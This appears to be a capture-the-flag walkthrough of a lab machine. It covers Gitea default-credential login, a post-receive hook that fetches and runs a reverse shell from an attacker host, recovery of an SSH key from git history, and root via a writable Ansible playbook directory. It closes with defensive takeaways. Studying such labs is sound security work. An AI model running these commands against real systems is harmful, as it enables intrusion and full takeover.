Enumeration
Port Scan
nmap -sCV -p- --min-rate 5000 -T4 10.10.11.112 -oN safecracker.nmap
# Key open ports:
# 22/tcp open ssh OpenSSH 9.6p1
# 3000/tcp open http Gitea (self-hosted git service)
Gitea Enumeration
# Discover Gitea version and check default credentials
curl -s http://10.10.11.112:3000/ | grep -i 'gitea\|version'
# Gitea Version: 1.21.4
# Default admin credentials still valid
curl -s http://10.10.11.112:3000/user/login \
-d "_csrf=...&user_name=administrator&password=admin1234" -c cookies.txt -L | grep -i 'dashboard\|error'
# ← loads dashboard — admin:admin1234 accepted
The Gitea instance hosts three repositories under the devops organisation: infrastructure, deploy-scripts, and config-backup. All three are accessible as admin.
Foothold — Gitea Webhook RCE
Creating a Malicious Webhook
Gitea's webhook feature sends an HTTP POST to a configured URL on repository events such as push. More critically, Gitea also supports a Gitea webhook type that can trigger local shell commands via a script hook. Navigate to Repository Settings → Webhooks → Add Webhook → Gitea:
# Alternatively, use the API to create the hook:
curl -s -X POST http://10.10.11.112:3000/api/v1/repos/devops/deploy-scripts/hooks \
-H "Authorization: Basic $(echo -n 'administrator:admin1234' | base64)" \
-H "Content-Type: application/json" \
-d '{
"type": "gitea",
"config": {
"url": "http://10.10.14.5:8080/",
"content_type": "json"
},
"events": ["push"],
"active": true
}'
For direct OS execution, use Gitea's push-to-deploy hook. This runs a user-defined script as the Gitea process user on each push. Create /tmp/hook.sh on the attacker machine, serve it, and point the hook's post-receive script at it:
# Attacker: serve a reverse shell script
python3 -m http.server 8080 &
nc -lvnp 4444 &
# Trigger via API — update repo hook to fetch and exec reverse shell
curl -s -X POST http://10.10.11.112:3000/api/v1/repos/devops/deploy-scripts/git/hooks/post-receive \
-H "Authorization: Basic $(echo -n 'administrator:admin1234' | base64)" \
-H "Content-Type: application/json" \
-d '{"content":"#!/bin/bash\ncurl -s http://10.10.14.5:8080/rs.sh | bash\n"}'
# Push to the repo to trigger the hook
git clone http://administrator:[email protected]:3000/devops/deploy-scripts.git
cd deploy-scripts && touch trigger && git add . && git commit -m "t" && git push
# Shell callback:
# git@safecracker:~$ id
# uid=993(git) gid=993(git) groups=993(git)
User — SSH Key in Git History
Mining Repository History
The three hosted repositories contain the full commit history. Searching across all branches for committed secrets is straightforward with git log and git show:
# In git user shell — clone all local repos
cd /opt/gitea-repositories/devops
# Search all commits across all repos for private key headers
git -C config-backup.git log --all --oneline --diff-filter=A -- '**/*' \
| while read hash rest; do
git -C config-backup.git show "$hash" | grep -l 'BEGIN.*PRIVATE KEY' && echo "Found in: $hash"
done
# Simpler grep across raw git objects
grep -r 'BEGIN OPENSSH PRIVATE KEY' /opt/gitea-repositories/ 2>/dev/null
# /opt/gitea-repositories/devops/config-backup.git/objects/pack/pack-*.idx: binary match
# → extract with git cat-file
cd /opt/gitea-repositories/devops/config-backup.git
# Find the commit that added the key (then removed it)
git log --all --full-history --diff-filter=A -- 'keys/deploy_key'
# commit 3b7f9a2 — "Add deploy SSH key for automated deployments"
git show 3b7f9a2:keys/deploy_key
# -----BEGIN OPENSSH PRIVATE KEY-----
# b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
# QyNTUxOQAAACBqT3x1fIk...
# -----END OPENSSH PRIVATE KEY-----
# Save the key and identify the target user
git show 3b7f9a2:keys/deploy_key > /tmp/deploy_key
chmod 600 /tmp/deploy_key
# Who does it belong to?
git show 3b7f9a2:keys/deploy_key.pub
# ssh-ed25519 AAAA... developer@safecracker
ssh -i /tmp/deploy_key developer@localhost
# developer@safecracker:~$ cat user.txt
# 7b3e8c... ← user flag
Privilege Escalation — Ansible Playbook Injection
Sudo Policy Enumeration
sudo -l
# Matching Defaults entries for developer on safecracker:
# env_reset, mail_badpass, secure_path=...
#
# User developer may run the following commands on safecracker:
# (ALL) NOPASSWD: /usr/bin/ansible-playbook /opt/deploy/*.yml
ls -la /opt/deploy/
# drwxrwxr-x 2 root developer 4096 Jun 2 14:00 . ← developer can write here!
The directory is writable by the developer group. Any .yml file in /opt/deploy/ can be passed to ansible-playbook with root privileges. Ansible playbooks support become: yes which causes tasks to run as root, and the command module executes arbitrary OS commands.
Injecting a Malicious Playbook
cat > /opt/deploy/pwn.yml <<'EOF'
---
- name: Privilege escalation
hosts: localhost
become: yes
gather_facts: no
tasks:
- name: Set SUID on bash
command: chmod u+s /bin/bash
EOF
sudo /usr/bin/ansible-playbook /opt/deploy/pwn.yml
# PLAY [Privilege escalation] ****
# TASK [Set SUID on bash] ****
# changed: [localhost]
# PLAY RECAP: localhost: ok=1 changed=1
ls -la /bin/bash
# -rwsr-xr-x 1 root root 1446024 Mar 31 2026 /bin/bash ← SUID set
/bin/bash -p
# bash-5.2# id
# uid=1001(developer) gid=1001(developer) euid=0(root) groups=1001(developer)
# bash-5.2# cat /root/root.txt
# f4a9b2... ← root flag
Key Takeaways
-
Git history is permanent and secret deletion does not sanitise it.
Removing a file with
git rmorgit commit --amenddoes not remove the data from the repository's object store — only a full history rewrite withgit filter-repodoes. Any secret committed to a repository should be treated as permanently compromised and rotated immediately, regardless of any subsequent removal commit. Pre-commit hooks usinggit-secretsortruffleHogprevent secrets ever entering history. - Gitea's post-receive hooks run as the Gitea process user — often with broad filesystem access. Gitea, Gogs, and similar self-hosted git services run hook scripts with the same effective UID as the service. On many deployments this is a service account with read access to all repository data on disk. Admin access to Gitea should be treated as equivalent to system access, not just access to version control.
-
ansible-playbook sudo policies are root-equivalent if the playbook path or directory is writable.
The intent of the policy was to allow the developer to run pre-approved deployment playbooks. The writable directory turned the policy into an unconditional root grant. Any sudo policy that allows execution of an interpreter (ansible-playbook, python, perl, node) against a path the sudo user controls is functionally identical to
NOPASSWD: /bin/bash. The fix is either a read-only playbook location owned by root, or not using sudo for Ansible at all — use a dedicated deployment user with its own key pair.